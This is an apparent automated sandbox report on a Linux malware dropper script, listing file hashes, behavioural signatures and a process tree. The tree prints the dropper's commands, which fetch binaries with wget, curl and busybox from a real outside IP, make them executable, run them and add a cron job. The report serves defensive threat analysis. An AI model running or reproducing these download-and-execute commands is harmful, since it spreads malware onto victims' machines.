Analysis

  • max time kernel
    150s
  • max time network
    177s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    23-11-2024 23:20

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    aecf915310e1b57ef84716e66275886b

  • SHA1

    eaa2d293615be82294c26ce4ff7a6bce993a2ecb

  • SHA256

    f5c6280c3983c239bf19b631fc87ab2890152c0a2006b38e0fd28149fcfdc131

  • SHA512

    f892615bfb3e780d6e1e64bff72196a66fe9e933e68d91c63cda8b389afb37f7468f5ab14b3a326236b6f3087003b47f7465dd932ac592ecb3d8f0feb674e351

  • SSDEEP

    96:sf/9QyowY9pP4c92aKRZeNNLQ12R8+4q92aKRZy3NNLQ1yYiB86xf/gFC7owY9py:CQyowY9pPr1R1owY9py

Malware Config

Signatures

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Contacts a large (1959) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 3 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 3 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 3 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 9 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:668
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:671
        • /usr/bin/wget
          wget http://216.126.231.240/bins/pzfaNGDWYxSw82WQPlTMY5jLAvCRIiDjgW
          2⤵
          • Writes file to tmp directory
          PID:676
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/pzfaNGDWYxSw82WQPlTMY5jLAvCRIiDjgW
          2⤵
          • Checks CPU configuration
          • Writes file to tmp directory
          PID:697
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/pzfaNGDWYxSw82WQPlTMY5jLAvCRIiDjgW
          2⤵
          • Writes file to tmp directory
          PID:699
        • /bin/chmod
          chmod 777 pzfaNGDWYxSw82WQPlTMY5jLAvCRIiDjgW
          2⤵
          • File and Directory Permissions Modification
          PID:703
        • /tmp/pzfaNGDWYxSw82WQPlTMY5jLAvCRIiDjgW
          ./pzfaNGDWYxSw82WQPlTMY5jLAvCRIiDjgW
          2⤵
          • Executes dropped EXE
          PID:705
        • /bin/rm
          rm pzfaNGDWYxSw82WQPlTMY5jLAvCRIiDjgW
          2⤵
            PID:707
          • /usr/bin/wget
            wget http://216.126.231.240/bins/mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304
            2⤵
            • Writes file to tmp directory
            PID:708
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304
            2⤵
            • Checks CPU configuration
            • Writes file to tmp directory
            PID:721
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304
            2⤵
            • Writes file to tmp directory
            PID:740
          • /bin/chmod
            chmod 777 mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304
            2⤵
            • File and Directory Permissions Modification
            PID:748
          • /tmp/mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304
            ./mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304
            2⤵
            • Executes dropped EXE
            PID:749
          • /bin/rm
            rm mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304
            2⤵
              PID:752
            • /usr/bin/wget
              wget http://216.126.231.240/bins/dFu39kgr9oOWDkRB6iv5PdFHhXEUJdzioc
              2⤵
              • Writes file to tmp directory
              PID:753
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/dFu39kgr9oOWDkRB6iv5PdFHhXEUJdzioc
              2⤵
              • Checks CPU configuration
              • Reads runtime system information
              • Writes file to tmp directory
              PID:759
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/dFu39kgr9oOWDkRB6iv5PdFHhXEUJdzioc
              2⤵
              • Writes file to tmp directory
              PID:774
            • /bin/chmod
              chmod 777 dFu39kgr9oOWDkRB6iv5PdFHhXEUJdzioc
              2⤵
              • File and Directory Permissions Modification
              PID:781
            • /tmp/dFu39kgr9oOWDkRB6iv5PdFHhXEUJdzioc
              ./dFu39kgr9oOWDkRB6iv5PdFHhXEUJdzioc
              2⤵
              • Executes dropped EXE
              • Renames itself
              • Reads runtime system information
              PID:782
              • /bin/sh
                sh -c "crontab -l"
                3⤵
                  PID:784
                  • /usr/bin/crontab
                    crontab -l
                    4⤵
                      PID:785
                  • /bin/sh
                    sh -c "crontab -"
                    3⤵
                      PID:787
                      • /usr/bin/crontab
                        crontab -
                        4⤵
                        • Creates/modifies Cron job
                        PID:788
                  • /bin/rm
                    rm dFu39kgr9oOWDkRB6iv5PdFHhXEUJdzioc
                    2⤵
                      PID:799
                    • /usr/bin/wget
                      wget http://216.126.231.240/bins/j3N1aqKpI3Cm9m51UJnkLt9lMtV0oqSBXl
                      2⤵
                        PID:802

                    Network

                    MITRE ATT&CK Enterprise v15

                    Replay Monitor

                    Loading Replay Monitor...

                    Downloads

                    • /tmp/dFu39kgr9oOWDkRB6iv5PdFHhXEUJdzioc

                      Filesize

                      141KB

                      MD5

                      3ca8decdb1e52c423c521bfff02ac200

                      SHA1

                      8621ecd6807109b8541912ad9e134f6fb49bfd48

                      SHA256

                      dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

                      SHA512

                      b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

                    • /tmp/mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304

                      Filesize

                      98KB

                      MD5

                      5141342d0df8699fa32a6b066a0c592e

                      SHA1

                      8157673225bd5182f16215e2aa823a25ca2d4fbc

                      SHA256

                      54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

                      SHA512

                      d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

                    • /tmp/pzfaNGDWYxSw82WQPlTMY5jLAvCRIiDjgW

                      Filesize

                      107KB

                      MD5

                      eb9c3a0de91fcf16ba17cb24608df68c

                      SHA1

                      09d95a7d70d5e115d103be51edff7c498d272fac

                      SHA256

                      dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

                      SHA512

                      9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

                    • /var/spool/cron/crontabs/tmp.alN5JR

                      Filesize

                      210B

                      MD5

                      07585c5eb6029faa8b928b3c8cdb1d3a

                      SHA1

                      b2046e60b830c88d2cb8cf7a9b7d241ae4749ccd

                      SHA256

                      d62750b189856bf47e33db92afca7d4205771b86bc6163cd67ad1b555c156c54

                      SHA512

                      f0c7a0572890952462198c12d52b432df87d1c9bc7b34c48db68a9d6a7a8980609eada4b5011dfb09545a2e43dfd8c3c7835ded8f4a788d0ed898a64222ee559